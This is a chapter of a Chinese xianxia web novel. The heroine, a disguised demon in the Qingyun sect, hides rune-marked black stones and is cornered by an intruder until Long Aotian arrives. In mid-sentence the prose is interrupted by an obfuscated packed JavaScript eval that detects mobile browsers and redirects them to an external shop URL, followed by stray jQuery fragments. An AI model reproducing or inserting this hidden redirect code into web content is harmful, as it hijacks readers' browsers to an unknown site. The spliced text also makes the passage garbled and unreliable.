罗素素死死盯着殿门,连呼吸都放得极轻,耳朵里只剩下自己擂鼓般的心跳声。
那脚步声停在门外,没有推门,也没有说话,就这么静悄悄的,像一头蛰伏的野兽,在暗处打量着猎物。
偏殿里的空气仿佛凝固了,窗外的翠竹被风吹得沙沙作响,反倒衬得这死寂的氛围更让人窒息。
罗素素的手悄悄攥紧,指尖掐进掌心,带来一丝微弱的痛感。她不敢动,也不敢出声,脑子里飞速转着。
如果是清衍仙子的人,多半是来搜查她的底细,甚至想找个由头把她拿下;如果是龙傲天……那这试探就更可怕了,他到底想从她身上得到什么?
过了约莫半盏茶的功夫,那脚步声终于缓缓远去,渐渐消失在竹林深处。
罗素素紧绷的身子骤然一软,顺着桌腿滑坐在地,后背的衣衫早已被冷汗浸透,黏糊糊地贴在身上,难受得紧。
她缓了好一会儿,才撑着桌子站起身,走到窗边,撩开一角窗棂往外看。
月色朦胧,竹林影影绰绰,除了风吹叶动的声响,再也看不到半个人影。
罗素素这才彻底松了口气,转身看向那个落满灰尘的木箱,眼神复杂。
刚才那阵异动太明显了,玉佩和黑石之间的联系,绝对不是巧合。
罗素素犹豫再三,还是打开木箱,伸手捏起那块黑石。
指尖刚碰到石头表面的纹路,掌心的玉佩立刻传来一阵明显的暖意,比前两次都要强烈。
她心头一跳,连忙把黑石放回木箱,盖上盖子,又用布巾裹得严严实实,塞进床底最里面的角落。
"这到底是什么玩意儿?"罗素素低声嘀咕,心里的疑团越来越重。
黑石带着魔域的气息,青云宗的偏殿里怎么会有这种东西?还有这玉佩,是她穿来时就带在身上的,难不成,她穿来这个世界,和这黑石还有什么关系?
正琢磨着,肚子突然咕咕叫了起来。
罗素素这才想起桌上的白粥,走过去端起来喝了一口,寡淡的味道让她忍不住皱了皱眉。
她看着碗里清汤寡水的白粥,又想起魔域里那些虽然粗糙但管饱的烤肉,心里更憋屈了。
在魔域当三年媚魔,好歹能吃饱喝足,怎么到了青云宗,反倒要受这种委屈?
罗素素越想越气,把碗往桌上一放,心里暗暗发誓:
不管这黑石和玉佩有什么猫腻,她都得弄清楚。
只有攥紧了自己的底牌,才能在这吃人的青云宗里,真正活下去,不用再看别人的脸色,不用再担惊受怕。
窗外的风更急了,竹叶簌簌作响,像是有人在低语。
罗素素走到床边躺下,脑子里全是黑石的红光和玉佩的暖意,还有门外那道诡异的脚步声。
这青云宗的夜,比魔域的三更天,还要难熬。
后半夜的风更凉了,穿堂而过,卷起窗棂上的积灰,簌簌落在地面。
罗素素翻来覆去睡不着,干脆坐起身,借着窗外透进来的朦胧月色,摸出藏在衣襟里的玉佩。
玉佩触手微凉,和白日里的暖意截然不同,就像方才的异动只是一场错觉。
她咬了咬唇,终究还是按捺不住心底的好奇,轻手轻脚地挪到床底,把那个裹着布巾的木箱拖了出来。
解开布巾的瞬间,一股淡淡的腥气飘了出来,比白日里更清晰些。
罗素素屏住呼吸,小心翼翼地掀开箱盖,指尖刚碰到其中一块黑石,掌心的玉佩猛地一热,烫得她差点松手。
这一次的暖意不是转瞬即逝,而是像一股细流,顺着指尖蔓延到手腕,再缓缓淌向四肢百骸。
更诡异的是,黑石表面那些细碎的纹路,竟在月色下缓缓亮起,不是白日里那点微弱的红光,而是一种暗沉的血色,像极了她在魔域见过的魔族图腾。
“这是……魔纹?”
罗素素的声音都在发颤。
她在魔域待了三年,对魔族的印记再熟悉不过,寻常魔兵身上的魔纹浅淡,只有高阶魔族的魔纹,才会像这样带着血色的光泽。
可青云宗的偏殿里,怎么会有刻着魔纹的石头?
就在这时,院墙外突然传来一声极轻的异响,像是有人踩断了枯枝。
罗素素脸色剧变,手忙脚乱地合上箱盖,用布巾裹得严严实实,塞回床底。她刚站起身,就听见殿门被人轻轻推开一道缝,一道黑影顺着月光溜了进来。
那黑影动作极快,落地时悄无声息,径直朝着床底的方向摸去。
罗素素的心脏都快跳出嗓子眼,她死死攥着手里的玉佩,下意识地往后退,后背狠狠撞在冰冷的墙壁上,发出一声轻响。
黑影的动作猛地一顿,缓缓转过身。
月光从门缝里挤进来,刚好落在黑影的脸上,那是一张布满疤痕的脸,眼神阴鸷,嘴角勾着一抹狠戾的笑。
“小丫头,藏什么好东西呢?”
沙哑的声音像砂纸摩擦木头,听得罗素素头皮发麻。
她认得这张脸,是白日里送吃食的两个青衣弟子身边的随从,据说仗着清衍仙子的势,在青云宗后山横行霸道,没少欺负外门弟子。
“我……我没藏什么。”罗素素强装镇定,指尖却因为用力,掐出了深深的红痕,“这里是龙尊吩咐我住的地方,你擅自闯入,就不怕龙尊降罪吗?”
她故意搬出龙傲天的名头,想吓退对方。
谁知那疤脸随从听完,反而笑得更猖狂了:“龙尊?他现在忙着陪清衍仙子,哪有功夫管你这个来路不明的野丫头?”
他往前逼近一步,身上的戾气更重了:“仙子说了,你这种来历不明的人,留在青云宗就是祸害。识相的,就把你身上的宝贝交出来,不然……”
疤脸随从的手按在腰间的佩剑上,寒光一闪而过。
罗素素的心沉到了谷底。
果然是清衍仙子派来的人。
她看着对方步步紧逼,后背抵着冰冷的墙壁,退无可退。
情急之下,掌心的玉佩突然又是一阵灼热,那股暖意瞬间涌遍全身,竟让她的身体变得轻盈了几分。
与此同时,床底的木箱里,隐隐传来一阵极淡的血色红光,顺着床缝,映在了地面上。
疤脸随从的目光扫过地面那丝若有若无的血色红光,眼睛瞬间亮了,像是闻到血腥味的豺狼。
“原来藏在床底!”
他狞笑着扑过来,手直接朝着床底抓去。
罗素素吓得魂飞魄散,想也不想就抬脚去踹,可她一介弱质媚魔,魔气又不敢暴露,这一脚轻飘飘的,被对方
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944451|192973||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
轻易挡开。
疤脸随从反手一推,罗素素踉跄着摔倒在地,手肘磕在坚硬的地面上,疼得她眼泪差点掉下来。
“小贱蹄子,还敢反抗?”他一步步逼近,伸手就要去抓罗素素的衣领,“仙子说了,只要搜出魔族的东西,就能定你死罪,到时候龙尊也护……”
罗素素指尖悄然凝出一缕魔气,正准备施展,殿外突然传来一声极轻的冷哼。
那声音不大,却带着一股慑人的威压,疤脸随从的动作猛地僵住,脸上的嚣张瞬间褪去,取而代之的是浓浓的恐惧。
他僵硬地转过头,看向殿门的方向,嘴唇哆嗦着,一个字也说不出来。
月光下,一道修长的身影倚在门框边,玄色衣袍随风微动,正是龙傲天。
疤脸随从僵在原地,额头上的冷汗唰地冒了出来,刚才的狠戾气焰荡然无存,连身子都开始发颤。
他哆哆嗦嗦地转过身,朝着门口的身影躬身行礼,声音里满是掩饰不住的惶恐:“龙……龙尊,属下……属下是奉了清衍仙子的命令,前来查看这偏殿是否有魔族余孽的踪迹,绝无半分冒犯之意。”
龙傲天没说话,只是抬眼扫了他一眼。
那目光深邃如古井,带着一股久居上位的威压,落在人身上,竟比寒冬的冰雪还要刺骨。
疤脸随从只觉得喉咙发紧,连呼吸都变得困难,刚才准备好的一肚子说辞,此刻全堵在了嗓子眼,一个字也吐不出来。
罗素素趴在地上,偷偷抬眼看向门口。
月光勾勒出龙傲天挺拔的身形,玄色衣袍的下摆被风吹得轻轻晃动,他单手负在身后,姿态慵懒,却偏偏透着一股让人不敢直视的锋芒。
她心里咯噔一下,暗道不好。
这人可是正道魁首,亲手覆灭了魔族,若是让他发现床底下的黑石,她就算有一百张嘴,也说不清了。
罗素素下意识地往床底的方向挪了挪,想挡住那丝若有若无的血色红光,可她这细微的动作,却刚好落入了龙傲天的眼中。
他的目光落在她身上,顿了顿,嘴角忽然勾起一抹似笑非笑的弧度:“哦?清衍仙子的命令?”
他缓步走进殿内,脚步声落在寂静的夜里,格外清晰。
每走一步,疤脸随从的身子就抖得更厉害一分,到最后,竟是直接“噗通”一声跪了下去,连连磕头:“龙尊饶命!是属下鬼迷心窍,是属下擅自做主,与清衍仙子无关!求龙尊饶了属下这一次!”
龙傲天没理会他的求饶,径直走到罗素素面前,弯腰,伸出手。
罗素素吓得心脏骤停,她的指尖还残留着未散尽的魔气,若是被察觉……
这般想着,罗素素下意识地往后躲,手肘再次磕到地面,疼得她倒吸一口凉气。
下一秒,一只温热的手掌,轻轻握住了她的手腕。
她的指尖还残留着未散尽的魔气,此刻被龙傲天握住手腕,那股微凉的温度像是探查的刀刃,随时可能划破她的伪装,直抵命门。
罗素素呼吸几近窒息!
就在她以为自己马上就要暴露时,那只手突然收紧,力道不重却不容抗拒,将她稳稳地从地上拉了起来。
“躲什么?”龙傲天的声音低沉,带着一丝不易察觉的戏谑,“本尊还能吃了你不成?”